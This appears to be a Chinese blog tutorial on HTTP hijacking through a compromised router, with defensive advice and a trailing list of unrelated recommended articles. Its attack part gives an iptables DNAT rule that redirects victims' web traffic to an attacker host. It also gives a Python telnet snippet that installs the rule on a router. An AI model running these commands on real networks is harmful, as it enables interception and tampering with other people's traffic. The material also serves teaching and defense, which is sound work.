前言

HTTP劫持(HTTP hijacking)是一种恶意攻击方式,攻击者利用中间人的方式劫持HTTP通信过程,获取用户敏感信息,或者篡改服务器返回的数据,让用户误以为是合法的服务器返回的结果。

路由器是一种网络设备,用于将本地网络和互联网连接起来,它也可以被攻击者用来进行HTTP劫持攻击。路由器在网络中的位置往往是比较靠前的,攻击者可以通过路由器对所有流经路由器的HTTP通信进行劫持和篡改。

本文将讲述攻击者如何通过路由器篡改了用户访问的网页,从而对用户进行攻击。这种攻击方式非常隐蔽,用户往往很难察觉到自己的网络流量被劫持。

一、HTTP劫持原理介绍

  1. 假设攻击者已经通过技术手段进入路由器的telnet 或者ssh终端。

  1. 在路由器中实现HTTP劫持通常使用iptables工具进行设置,具体操作是通过添加一条PREROUTING规则,将目标IP地址和端口号重定向到指定的IP地址和端口号。当用户访问目标IP地址和端口号时,数据包将被路由器捕获并转发至指定的IP地址和端口号,从而实现对页面内容的篡改。

  1. 下面的命令可以将主机A对目标主机B的80端口的访问,重定向到攻击者主机C的8080端口:

iptables -t nat -A PREROUTING -p tcp -d IP_B --dport 80 -j DNAT --to-destination IP_C:8080

代码解释如下:

当主机A发送HTTP请求到目标主机B的80端口时,数据包首先会被iptables的PREROUTING链捕获,根据规则匹配到DNAT规则,将目标IP地址和端口号改为攻击者主机C的IP地址和8080端口,然后再将修改后的数据包转发到攻击者主机C上,达到HTTP劫持的目的。

  1. python版本的核心http劫持代码如下,完整的python代码详见本文末尾,具体代码用法为

python hijackhttp.py -u www.example.com -d xxx.xxx.xxx.xxx

代码执行完毕后,路由器将转发用户所有访问www.example.com的流量到ip xxx.xxx.xxx.xxx。

# 建立 telnet 连接
tn = telnetlib.Telnet('192.168.0.1', port=23)
tn.set_debuglevel(1)# 发送命令
tn.write(b'iptables -t nat -A PREROUTING -p tcp -d xxx.xxx.xxx.xxx --dport 80 -j DNAT --to-destination  xx.xx.xx.x:80\n')

二、HTTP防劫持方法

以下是一些防止HTTP劫持的方法:

  • HTTPS协议:使用HTTPS协议可以有效地防止HTTP劫持攻击。HTTPS协议使用SSL或TLS加密传输数据,确保数据在传输过程中不被篡改。因此,HTTP劫持攻击者无法获取数据或篡改数据。

  • DNS防污染:DNS污染是一种常见的HTTP劫持攻击方法。通过在DNS服务器上篡改域名解析记录,攻击者可以将用户重定向到恶意站点。为了防止DNS污染攻击,可以使用DNSSEC或使用受信任的DNS服务器。

  • 网络流量过滤:可以使用网络防火墙或流量过滤设备来检测和拦截HTTP劫持攻击。这些设备可以检测到流量中的异常,例如大量重定向,未经授权的转发等。

  • 使用加密代理:可以使用代理服务器来防止HTTP劫持攻击。代理服务器可以检测并阻止传入的HTTP请求中的恶意代码,并保护用户计算机不受攻击。代理服务器可以使用加密传输数据,以确保传输过程中的数据安全。

  • 安全软件:可以安装反病毒软件或反间谍软件来保护计算机不受HTTP劫持攻击。这些软件可以检测和清除计算机中的恶意软件和间谍软件,并阻止HTTP劫持攻击。

  • 请注意,这些方法并不能完全防止HTTP劫持攻击,攻击者仍然可能找到一些漏洞来绕过这些保护机制。因此,建议在使用互联网时保持警惕,不要轻信来路不明的链接或下载附件。

三、运行代码及测试环境

本文使用环境及工具配置

  • telnet 连接路由器:telnet 192.168.0.1 23

  • 执行 iptables 命令进行重定向:iptables -t nat -A PREROUTING -p tcp -d xx.xx.xx.xx --dport 80 -j DNAT --to-destinationxx.xx.xx.xx:80

  • 检查 iptables 规则是否生效:iptables -t nat -L -n

  • 恢复原来的 iptables 规则:iptables -t nat -D PREROUTING 1

  • 检查 iptables 规则是否已经恢复:iptables -t nat -L -n

希望这个总结能对您有所帮助。

本文所测试用到的相关源码及测试环境:

Web-PenTest/README.md at main · MasterTaiBai/Web-PenTest · GitHub

成为一名合格的Web安全专业人员需要长时间的学习和实践。只有通过持续的努力,掌握Web安全知识和技能,才能真正成为一个专业的白帽子。

在此祝愿安全爱好者及从业人员都能够取得成功,实现自己的梦想,为网络安全贡献自己的力量!

路由器HTTP劫持由入门到精通相关推荐

  1. 安全多方计算(MPC)从入门到精通:JUGO-IDE及SDK

    简介:在上一节<安全多方计算(MPC)从入门到精通:Frutta语言>中,已经介绍了Frutta语言语法相关的内容,在本节中,我们将介绍JUGO-IDE及SDK. 1.什么是JUGO-ID ...

  2. js 移动端 滑块验证码插件_VUE技术详解,Vue.js从入门到精通

    [Vue.js简介] Vue.js是一套构建用户界面的渐进式框架.与其他重量级框架不同的是,Vue采用自底向上增量开发的设计.Vue的核心库只关注视图层,并且非常容易学习,非常容易与其它库或已有项目整 ...

  3. Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出

    Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出 程序漏洞从哪里来? 罪恶的根源:变量 数据与代码边界不清(注入攻击) 最简漏洞原理-shell 脚本漏洞(本质:输入数据本身,程序本身没 ...

  4. Docker零基础从入门到精通(全)

    目录 前言 1. Docker介绍 1.1 Docker的安装 1.2 Docker的卸载 2. 配置阿里云镜像加速 3. Docker原理 3. docker常用命令 3.1 镜像命令 3.2 容器 ...

  5. Iaas-openstack从入门到精通

    学习课程连接: openstack从入门到精通 第二章 openstack核心组件详细介绍 2-1openstack和kubernetes联系和区别 2-2准备安装openstack需要实验环境 虚拟 ...

  6. Linux入门到精通

    Linux是什么? Linux是一套免费使用和自由传播的类Unix的的操作系统,是一个基于POSIX和UNIX的多用户,多任务,支持多线程和多CPU的操作系统.它能运行主要的UNIX工具软件,应用程序 ...

  7. linux学习步骤(从入门到精通)

    linux学习步骤(从入门到精通) 来源:http://os.chinaunix.net/a2008/0603/980/000000980392.shtml 博客 作者:新华网 编辑:周荣茂 学习步骤 ...

  8. [Vue]学习笔记目录 【Vue2与Vue3完结】 (尚硅谷Vue2.0+Vue3.0全套教程丨vuejs从入门到精通)

    文章目录 前言 遇见的问题及其解决方案 之前笔记 Vue2 Vue3 前言 本笔记根据如下笔记和视频进行整理 老师的课件笔记,不含视频 https://www.aliyundrive.com/s/B8 ...

  9. 视频教程-华为HCNP网络工程师【从入门到精通】自学视频[肖哥] ¥499-华为认证

    华为HCNP网络工程师[从入门到精通]自学视频[肖哥] ¥499 肖老师(肖哥),思科认证讲师讲师(CCIE#27529),RedHat Linux认证讲师讲师,Juniper 认证讲师讲师,微软认证 ...

最新文章

  1. 算法导论Java实现-构建MaxHeap
  2. CUDA入门(三) 初探线程与块
  3. Linux驱动程序中THIS_MODULE 的定义
  4. 中国新能源汽车供应链白皮书2020
  5. k3 cloud 文件服务器搭建,k3cloud服务器推荐配置
  6. php mysql 单例模式_PHP基于单例模式实现的mysql类
  7. centos 对某ip开放 防火墙端口_CentOS操作系统防火墙Firewalld记录日志及用途
  8. sql server一对多怎么查询_Vlookup函数查找最后一个值和一对多查询
  9. python 输出log_python:logging模块(记录打印日志)
  10. 微信小程序 数据绑定
  11. 设置dedecms为动态页面,设置dedecms为静态页面,首页动态,列表动态和文章动态
  12. excel宏教程_Excel多功能工具箱(收藏家必备)
  13. 解决Arduino开发板管理器下载esp8266开发包失败和速度慢的方法
  14. bat计算机清理原理,电脑如何一键清除垃圾bat
  15. 基于文本语义的智能问答机器人——工业应用
  16. 野火linux开发板6ULL,野火i.MX 6ULL开发板 嵌入式Linux开发板 nand版本
  17. Linux 绑定IP
  18. 学java应该学什么
  19. 态度决定一切——attitude is everything!
  20. TokenInsight 与 BitUniverse 达成战略合作,用数据提高收益降低风险

热门文章

  1. 在小米应用商店提交app之攻略
  2. U盘装win7(wim版)
  3. 操作系统与文件与编程语言与python与pycharm的下载
  4. win10截图快捷键,有哪些方式的教程
  5. h5微信内跳转ios商店报错
  6. qiankun 两种集成微应用的方法(基于路由配置微应用、手动加载微应用)
  7. idea中代码不提示,写错误代码也不报错解决方法
  8. C#通过adb传输安卓设备数据
  9. 用Echarts实现SpreadJS引用从属关系可视化
  10. number precious解决精度问题